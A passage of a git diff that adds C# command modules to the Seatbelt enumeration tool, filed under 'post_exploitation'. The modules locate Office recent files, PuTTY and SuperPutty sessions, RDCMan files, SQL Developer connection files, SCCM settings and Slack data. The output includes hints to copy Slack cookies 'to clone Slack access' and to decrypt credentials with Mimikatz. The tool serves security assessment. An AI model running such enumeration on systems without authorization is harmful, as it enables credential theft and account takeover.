+ continue; + + foreach (var version in officeVersion) + { + foreach (OfficeRecentFilesDTO mru in GetMRUsFromVersionKey($"{sid}\\Software\\Microsoft\\Office\\{version}")) + { + if (mru.LastAccessDate <= DateTime.Now.AddDays(-lastDays)) continue; + + mru.User = userName; + yield return mru; + } + } + } + } + + private IEnumerable GetMRUsFromVersionKey(string officeVersionSubkeyPath) + { + var officeApplications = RegistryUtil.GetSubkeyNames(RegistryHive.Users, officeVersionSubkeyPath); + if (officeApplications == null) + { + yield break; + } + + foreach (var app in officeApplications) + { + // 1) HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\\File MRU + foreach (var mru in GetMRUsValues($"{officeVersionSubkeyPath}\\{app}\\File MRU")) + { + yield return mru; + } + + // 2) HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\ADAL_B7C22499E768F03875FA6C268E771D1493149B23934326A96F6CDFEEEE7F68DA72\File MRU + // or HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\LiveId_CC4B824314B318B42E93BE93C46A61575D25608BBACDEEEA1D2919BCC2CF51FF\File MRU + + var logonAapps = RegistryUtil.GetSubkeyNames(RegistryHive.Users, $"{officeVersionSubkeyPath}\\{app}\\User MRU"); + if (logonAapps == null) + continue; + + foreach (var logonApp in logonAapps) + { + foreach (var mru in GetMRUsValues($"{officeVersionSubkeyPath}\\{app}\\User MRU\\{logonApp}\\File MRU")) + { + ((OfficeRecentFilesDTO)mru).Application = app; + yield return mru; + } + } + } + } + + private IEnumerable GetMRUsValues(string fileMRUKeyPath) + { + var values = RegistryUtil.GetValues(RegistryHive.Users, fileMRUKeyPath); + if (values == null) yield break; + foreach (string mru in values.Values) + { + var m = ParseMruString(mru); + if (m != null) + { + yield return m; + } + } + } + + + private OfficeRecentFilesDTO? ParseMruString(string mru) + { + var matches = Regex.Matches(mru, "\\[[a-zA-Z0-9]+?\\]\\[T([a-zA-Z0-9]+?)\\](\\[[a-zA-Z0-9]+?\\])?\\*(.+)"); + if (matches.Count == 0) + { + return null; + } + + long timestamp = 0; + var dateHexString = matches[0].Groups[1].Value; + var filename = matches[0].Groups[matches[0].Groups.Count - 1].Value; + + try + { + timestamp = long.Parse(dateHexString, NumberStyles.HexNumber); + } + catch + { + WriteError($"Could not parse MRU timestamp. Parsed timestamp: {dateHexString} MRU value: {mru}"); + } + + return new OfficeRecentFilesDTO() + { + Application = "Office", + LastAccessDate = DateTime.FromFileTimeUtc(timestamp), + User = null, + Target = filename + }; + } + + internal class OfficeRecentFilesDTO : CommandDTOBase + { + public string Application { get; set; } + public string Target { get; set; } + public DateTime LastAccessDate { get; set; } + public string User { get; set; } + } + + [CommandOutputType(typeof(OfficeRecentFilesDTO))] + internal class OfficeMRUsCommandFormatter : TextFormatterBase + { + public OfficeMRUsCommandFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (OfficeRecentFilesDTO)result; + + WriteLine(" {0,-8} {1,-23} {2,-12} {3}", dto.Application, dto.User, dto.LastAccessDate.ToString("yyyy-MM-dd"), dto.Target); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OracleSQLDeveloperCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OracleSQLDeveloperCommand.cs new file mode 100644 index 0000000..45a8cc2 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OracleSQLDeveloperCommand.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Util; + +namespace Seatbelt.Commands +{ + internal class OracleSQLDeveloperCommand : CommandBase + { + public override string Command => "OracleSQLDeveloper"; + public override string Description => "Finds Oracle SQLDeveloper connections.xml files"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; + + // NOTE: to decrypt, use https://pypi.org/project/sqldeveloperpassworddecryptor/ + + public OracleSQLDeveloperCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + var dirs = Directory.GetDirectories(userFolder); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + foreach (string foundFile in MiscUtil.GetFileList(@"connections.xml", $"{dir}\\AppData\\Roaming\\SQL Developer\\")) + { + var lastAccessed = File.GetLastAccessTime(foundFile); + var lastModified = File.GetLastWriteTime(foundFile); + var size = new FileInfo(foundFile).Length; + + yield return new OracleConnectionsDTO() + { + FileName = foundFile, + LastAccessed = lastAccessed, + LastModified = lastModified, + Size = size + }; + } + } + } + + internal class OracleConnectionsDTO : CommandDTOBase + { + public string? FileName { get; set; } + public DateTime? LastAccessed { get; set; } + public DateTime? LastModified { get; set; } + public long? Size { get; set; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OutlookDownloadsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OutlookDownloadsCommand.cs new file mode 100644 index 0000000..a804f93 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OutlookDownloadsCommand.cs @@ -0,0 +1,106 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + class OutlookDownload + { + public string FileName { get; set; } + + public DateTime LastAccessed { get; set; } + + public DateTime LastModified { get; set; } + } + + internal class OutlookDownloadsCommand : CommandBase + { + public override string Command => "OutlookDownloads"; + public override string Description => "List files downloaded by Outlook"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public OutlookDownloadsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + { + continue; + } + + var userOutlookBasePath = $"{dir}\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\"; + if (!Directory.Exists(userOutlookBasePath)) + { + continue; + } + + var directories = Directory.GetDirectories(userOutlookBasePath); + foreach (var directory in directories) + { + var files = Directory.GetFiles(directory); + + var Downloads = new List(); + + foreach (var file in files) + { + var download = new OutlookDownload(); + download.FileName = Path.GetFileName(file); + download.LastAccessed = File.GetLastAccessTime(file); + download.LastModified = File.GetLastAccessTime(file); + Downloads.Add(download); + } + + yield return new OutlookDownloadsDTO() + { + Folder = $"{directory}", + Downloads = Downloads + }; + } + } + } + + internal class OutlookDownloadsDTO : CommandDTOBase + { + public string Folder { get; set; } + public List Downloads { get; set; } + } + + [CommandOutputType(typeof(OutlookDownloadsDTO))] + internal class OutlookDownloadsFormatter : TextFormatterBase + { + public OutlookDownloadsFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (OutlookDownloadsDTO)result; + + WriteLine(" Folder : {0}\n", dto.Folder); + WriteLine($" LastAccessed LastModified FileName"); + WriteLine($" ------------ ------------ --------"); + + foreach (var download in dto.Downloads) + { + WriteLine(" {0,-22} {1,-22} {2}", download.LastAccessed, download.LastModified, download.FileName); + } + + WriteLine(); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/PuttyHostKeysCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/PuttyHostKeysCommand.cs new file mode 100644 index 0000000..502dbc3 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/PuttyHostKeysCommand.cs @@ -0,0 +1,85 @@ +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands +{ + internal class PuttyHostKeysCommand : CommandBase + { + public override string Command => "PuttyHostKeys"; + public override string Description => "Saved Putty SSH host keys"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PuttyHostKeysCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var SIDs = ThisRunTime.GetUserSIDs(); + + foreach (var sid in SIDs) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) + { + continue; + } + + var hostKeys = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\"); + if (hostKeys == null || hostKeys.Count == 0) + { + continue; + } + + var keys = new List(); + + foreach (var kvp in hostKeys) + { + keys.Add($"{kvp.Key}"); + } + + yield return new PuttyHostKeysDTO( + sid, + keys + ); + } + } + + internal class PuttyHostKeysDTO : CommandDTOBase + { + public PuttyHostKeysDTO(string sid, List hostKeys) + { + Sid = sid; + HostKeys = hostKeys; + } + public string Sid { get; } + public List HostKeys { get; } + } + + [CommandOutputType(typeof(PuttyHostKeysDTO))] + internal class PuttyHostKeysFormatter : TextFormatterBase + { + public PuttyHostKeysFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (PuttyHostKeysDTO)result; + + WriteLine(" {0} :", dto.Sid); + + foreach (var hostKey in dto.HostKeys) + { + WriteLine($" {hostKey}"); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/PuttySessionsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/PuttySessionsCommand.cs new file mode 100644 index 0000000..f6c72fc --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/PuttySessionsCommand.cs @@ -0,0 +1,120 @@ +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + +namespace Seatbelt.Commands +{ + internal class PuttySessionsCommand : CommandBase + { + public override string Command => "PuttySessions"; + public override string Description => "Saved Putty configuration (interesting fields) and SSH host keys"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PuttySessionsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var SIDs = ThisRunTime.GetUserSIDs(); + foreach (var sid in SIDs) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) + { + continue; + } + + var subKeys = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\SimonTatham\\PuTTY\\Sessions\\"); + if (subKeys == null) + continue; + + var Sessions = new List>(); + + foreach (var sessionName in subKeys) + { + var Settings = new Dictionary + { + ["SessionName"] = sessionName + }; + + string[] keys = + { + "HostName", + "UserName", + "PublicKeyFile", + "PortForwardings", + "ConnectionSharing", + "AgentFwd" + }; + + foreach (var key in keys) + { +#nullable disable + var result = ThisRunTime.GetStringValue(RegistryHive.Users, $"{sid}\\Software\\SimonTatham\\PuTTY\\Sessions\\{sessionName}", key); + if (!string.IsNullOrEmpty(result)) + { + Settings[key] = result; + } +#nullable enable + } + + Sessions.Add(Settings); + } + + if (Sessions.Count != 0) + { + yield return new PuttySessionsDTO( + sid, + Sessions + ); + } + } + } + + internal class PuttySessionsDTO : CommandDTOBase + { + public PuttySessionsDTO(string sid, List> sessions) + { + Sid = sid; + Sessions = sessions; + } + public string Sid { get; } + + public List> Sessions { get; } + } + + [CommandOutputType(typeof(PuttySessionsDTO))] + internal class ExplorerRunCommandFormatter : TextFormatterBase + { + public ExplorerRunCommandFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (PuttySessionsDTO)result; + + WriteLine(" {0} :\n", dto.Sid); + + foreach (var session in dto.Sessions) + { + WriteLine(" {0,-20} : {1}", "SessionName", session["SessionName"]); + + foreach (var key in session.Keys) + { + if(!key.Equals("SessionName")) + { + WriteLine(" {0,-20} : {1}", key, session[key]); + } + } + WriteLine(); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/RemoteDesktopConnectionManagerCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/RemoteDesktopConnectionManagerCommand.cs new file mode 100644 index 0000000..b1964e8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/RemoteDesktopConnectionManagerCommand.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Xml; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands +{ + internal class RemoteDesktopConnectionManagerCommand : CommandBase + { + public override string Command => "RDCManFiles"; + public override string Description => "Windows Remote Desktop Connection Manager settings files"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; + public Runtime ThisRunTime; + + public RemoteDesktopConnectionManagerCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + var found = false; + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userRDManFile = $"{dir}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings"; + if (!File.Exists(userRDManFile)) + continue; + + // TODO: for remote triage, need to translate local paths to remote paths effectively + + var xmlDoc = new XmlDocument(); + xmlDoc.Load(userRDManFile); + + // grab the recent RDG files + var filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); + var items = filesToOpen[0].ChildNodes; + + var lastAccessed = File.GetLastAccessTime(userRDManFile); + var lastModified = File.GetLastWriteTime(userRDManFile); + + var rdgFiles = new List(); + + foreach (XmlNode rdgFile in items) + { + found = true; + rdgFiles.Add(rdgFile.InnerText); + } + + yield return new RemoteDesktopConnectionManagerDTO( + userRDManFile, + lastAccessed, + lastModified, + rdgFiles + ); + } + + if (found) + { + WriteHost(" [*] You can use SharpDPAPI or the Mimikatz \"dpapi::rdg\" module to decrypt any found .rdg files"); + } + } + + internal class RemoteDesktopConnectionManagerDTO : CommandDTOBase + { + public RemoteDesktopConnectionManagerDTO(string fileName, DateTime lastAccessed, DateTime lastModified, List rdgFiles) + { + FileName = fileName; + LastAccessed = lastAccessed; + LastModified = lastModified; + RdgFiles = rdgFiles; + } + public string FileName { get; } + + public DateTime LastAccessed { get; } + + public DateTime LastModified { get; } + + public List RdgFiles { get; } + } + + + [CommandOutputType(typeof(RemoteDesktopConnectionManagerDTO))] + internal class RemoteDesktopConnectionManagerFormatter : TextFormatterBase + { + public RemoteDesktopConnectionManagerFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (RemoteDesktopConnectionManagerDTO)result; + + WriteLine(" RDCManFile : {0}", dto.FileName); + WriteLine(" Accessed : {0}", dto.LastAccessed); + WriteLine(" Modified : {0}", dto.LastModified); + + foreach(var rdgFile in dto.RdgFiles) + { + WriteLine(" .RDG File : {0}", rdgFile); + } + + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SccmClientCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SccmClientCommand.cs new file mode 100644 index 0000000..bcbcc08 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SccmClientCommand.cs @@ -0,0 +1,44 @@ +using System.Collections.Generic; +using Microsoft.Win32; + +namespace Seatbelt.Commands +{ + internal class SccmClientCommand : CommandBase + { + public override string Command => "SCCM"; + public override string Description => "System Center Configuration Manager (SCCM) settings, if applicable"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public SccmClientCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + yield return new SccmClientDTO( + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\CCMSetup", "LastValidMP"), + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\SMS\Mobile Client", "AssignedSiteCode"), + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\SMS\Mobile Client", "ProductVersion"), + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\SMS\Mobile Client", "LastSuccessfulInstallParams") // Sometimes contains the fallback server's hostname + ); + } + } + + internal class SccmClientDTO : CommandDTOBase + { + public SccmClientDTO(string? server, string? siteCode, string? productVersion, string? lastSuccessfulInstallParams) + { + Server = server; + SiteCode = siteCode; + ProductVersion = productVersion; + LastSuccessfulInstallParams = lastSuccessfulInstallParams; + } + public string? Server { get; } + public string? SiteCode { get; } + public string? ProductVersion { get; } + public string? LastSuccessfulInstallParams { get; } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackDownloadsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackDownloadsCommand.cs new file mode 100644 index 0000000..645630b --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackDownloadsCommand.cs @@ -0,0 +1,147 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Web.Script.Serialization; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; + + +namespace Seatbelt.Commands +{ + class Download + { + public string? TeamID { get; set; } + public string? UserID { get; set; } + public string? DownloadPath { get; set; } + public DateTime? StartTime { get; set; } + } + + internal class SlackDownloadsCommand : CommandBase + { + public override string Command => "SlackDownloads"; + public override string Description => "Parses any found 'slack-downloads' files"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Slack }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public SlackDownloadsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var userSlackDownloadsPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-downloads"; + + // parses a Slack downloads file + if (File.Exists(userSlackDownloadsPath)) + { + var Downloads = new List(); + + try + { + var contents = File.ReadAllText(userSlackDownloadsPath); + + // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ + var json = new JavaScriptSerializer(); + var deserialized = json.Deserialize>(contents); + + foreach (var w in deserialized) + { + var dls = (Dictionary)w.Value; + foreach (var x in dls) + { + var dl = (Dictionary)x.Value; + var download = new Download(); + if (dl.ContainsKey("teamId")) + { + download.TeamID = $"{dl["teamId"]}"; + } + if (dl.ContainsKey("userId")) + { + download.UserID = $"{dl["userId"]}"; + } + if (dl.ContainsKey("downloadPath")) + { + download.DownloadPath = $"{dl["downloadPath"]}"; + } + if (dl.ContainsKey("startTime")) + { + try + { + download.StartTime = MiscUtil.UnixEpochToDateTime(long.Parse($"{dl["startTime"]}")); + } + catch + { + } + } + Downloads.Add(download); + } + } + } + catch (IOException exception) + { + WriteError(exception.ToString()); + } + catch (Exception exception) + { + WriteError(exception.ToString()); + } + + yield return new SlackDownloadsDTO( + userName, + Downloads + ); + } + } + } + + internal class SlackDownloadsDTO : CommandDTOBase + { + public SlackDownloadsDTO(string userName, List downloads) + { + UserName = userName; + Downloads = downloads; + } + public string UserName { get; } + public List Downloads { get; } + } + + [CommandOutputType(typeof(SlackDownloadsDTO))] + internal class SlackDownloadsFormatter : TextFormatterBase + { + public SlackDownloadsFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (SlackDownloadsDTO)result; + + WriteLine($" Downloads ({dto.UserName}):\n"); + + foreach (var download in dto.Downloads) + { + WriteLine($" TeamID : {download.TeamID}"); + WriteLine($" UserId : {download.UserID}"); + WriteLine($" DownloadPath : {download.DownloadPath}"); + WriteLine($" StartTime : {download.StartTime}\n"); + } + WriteLine(); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackPresenceCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackPresenceCommand.cs new file mode 100644 index 0000000..d282c16 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackPresenceCommand.cs @@ -0,0 +1,119 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands +{ + internal class SlackPresenceCommand : CommandBase + { + public override string Command => "SlackPresence"; + public override string Description => "Checks if interesting Slack files exist"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Slack }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public SlackPresenceCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var slackBasePath = $"{dir}\\AppData\\Roaming\\Slack\\"; + if (!Directory.Exists(slackBasePath)) + { + continue; + } + + DateTime? cookiesLastWriteTime = null, + workspacesLastWriteTime = null, + downloadsLastWriteTime = null; + + var userSlackCookiesPath = $"{dir}\\AppData\\Roaming\\Slack\\Cookies"; + if (File.Exists(userSlackCookiesPath)) + { + cookiesLastWriteTime = File.GetLastWriteTime(userSlackCookiesPath); + } + + var userSlackWorkspacesPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-workspaces"; + if (File.Exists(userSlackWorkspacesPath)) + { + workspacesLastWriteTime = File.GetLastWriteTime(userSlackWorkspacesPath); + } + + var userSlackDownloadsPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-downloads"; + if (File.Exists(userSlackDownloadsPath)) + { + downloadsLastWriteTime = File.GetLastWriteTime(userSlackDownloadsPath); + } + + if (cookiesLastWriteTime != null || workspacesLastWriteTime != null || downloadsLastWriteTime != null) + { + yield return new SlackPresenceDTO( + folder: $"{dir}\\AppData\\Roaming\\Slack\\", + cookiesLastWriteTime, + workspacesLastWriteTime, + downloadsLastWriteTime + ); + } + } + } + + internal class SlackPresenceDTO : CommandDTOBase + { + public SlackPresenceDTO(string folder, DateTime? cookiesLastModified, DateTime? workspacesLastModified, DateTime? downloadsLastModified) + { + Folder = folder; + CookiesLastModified = cookiesLastModified; + WorkspacesLastModified = workspacesLastModified; + DownloadsLastModified = downloadsLastModified; + } + public string? Folder { get; } + public DateTime? CookiesLastModified { get; } + public DateTime? WorkspacesLastModified { get; } + public DateTime? DownloadsLastModified { get; } + } + + [CommandOutputType(typeof(SlackPresenceDTO))] + internal class SlackPresenceFormatter : TextFormatterBase + { + public SlackPresenceFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (SlackPresenceDTO)result; + + WriteLine(" {0}\n", dto.Folder); + if (dto.CookiesLastModified != DateTime.MinValue) + { + WriteLine(" 'Cookies' ({0}) : Download the 'Cookies' and 'storage\\slack-workspaces' files to clone Slack access", dto.CookiesLastModified); + } + if (dto.WorkspacesLastModified != DateTime.MinValue) + { + WriteLine(" '\\storage\\slack-workspaces' ({0}) : Run the 'SlackWorkspaces' command", dto.WorkspacesLastModified); + } + if (dto.DownloadsLastModified != DateTime.MinValue) + { + WriteLine(" '\\storage\\slack-downloads' ({0}) : Run the 'SlackDownloads' command", dto.DownloadsLastModified); + } + + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackWorkspacesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackWorkspacesCommand.cs new file mode 100644 index 0000000..3484ade --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SlackWorkspacesCommand.cs @@ -0,0 +1,133 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Web.Script.Serialization; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Products +{ + class Workspace + { + public string? Name { get; set; } + public string? Domain { get; set; } + public string? ID { get; set; } + } + + internal class SlackWorkspacesCommand : CommandBase + { + public override string Command => "SlackWorkspaces"; + public override string Description => "Parses any found 'slack-workspaces' files"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Slack }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public SlackWorkspacesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var userSlackWorkspacesPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-workspaces"; + + // parses a Slack workspaces file + if (File.Exists(userSlackWorkspacesPath)) + { + var workspaces = new List(); + + try + { + var contents = File.ReadAllText(userSlackWorkspacesPath); + + // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ + var json = new JavaScriptSerializer(); + var deserialized = json.Deserialize>(contents); + + foreach (var w in deserialized) + { + var settings = (Dictionary)w.Value; + + var workspace = new Workspace(); + if (settings.ContainsKey("name")) + { + workspace.Name = $"{settings["name"]}"; + } + if (settings.ContainsKey("domain")) + { + workspace.Domain = $"{settings["domain"]}"; + } + if (settings.ContainsKey("id")) + { + workspace.ID = $"{settings["id"]}"; + } + + workspaces.Add(workspace); + } + } + catch (IOException exception) + { + WriteError(exception.ToString()); + } + catch (Exception exception) + { + WriteError(exception.ToString()); + } + + yield return new SlackWorkspacesDTO( + userName, + workspaces + ); + } + } + } + + internal class SlackWorkspacesDTO : CommandDTOBase + { + public SlackWorkspacesDTO(string userName, List workspaces) + { + UserName = userName; + Workspaces = workspaces; + } + + public string UserName { get; } + public List Workspaces { get; } + } + + [CommandOutputType(typeof(SlackWorkspacesDTO))] + internal class SlackWorkspacesFormatter : TextFormatterBase + { + public SlackWorkspacesFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (SlackWorkspacesDTO)result; + + WriteLine($" Workspaces ({dto.UserName}):\n"); + + foreach (var workspace in dto.Workspaces) + { + WriteLine($" Name : {workspace.Name}"); + WriteLine($" Domain : {workspace.Domain}"); + WriteLine($" ID : {workspace.ID}\n"); + } + WriteLine(); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SuperPuttyCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SuperPuttyCommand.cs new file mode 100644 index 0000000..9dcf452 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SuperPuttyCommand.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Xml; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands +{ + class SuperPuttyConfig + { + public SuperPuttyConfig(string filePath, string sessionId, string sessionName, string host, string port, string protocol, string userName, string extraArgs) + { + FilePath = filePath; + SessionID = sessionId; + SessionName = sessionName; + Host = host; + Port = port; + Protocol = protocol; + UserName = userName; + ExtraArgs = extraArgs; + } + public string FilePath { get; set; } + + public string SessionID { get; set; } + + public string SessionName { get; set; } + + public string Host { get; set; } + + public string Port { get; set; } + + public string Protocol { get; set; } + + public string UserName { get; set; } + + public string ExtraArgs { get; set; } + } + + + internal class SuperPuttyCommand : CommandBase + { + public override string Command => "SuperPutty"; + public override string Description => "SuperPutty configuration files"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public SuperPuttyCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // inspired by https://github.com/EncodeGroup/Gopher/blob/master/Holes/SuperPuTTY.cs (@lefterispan) + + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + var configs = new List(); + + string[] paths = { $"{dir}\\Documents\\SuperPuTTY\\Sessions.XML"}; + + foreach (var path in paths) + { + if (!File.Exists(path)) + continue; + + + var xmlDoc = new XmlDocument(); + xmlDoc.Load(path); + + var sessions = xmlDoc.GetElementsByTagName("SessionData"); + + if (sessions.Count == 0) + continue; + + foreach (XmlNode session in sessions) + { + var filePath = path; + var sessionID = 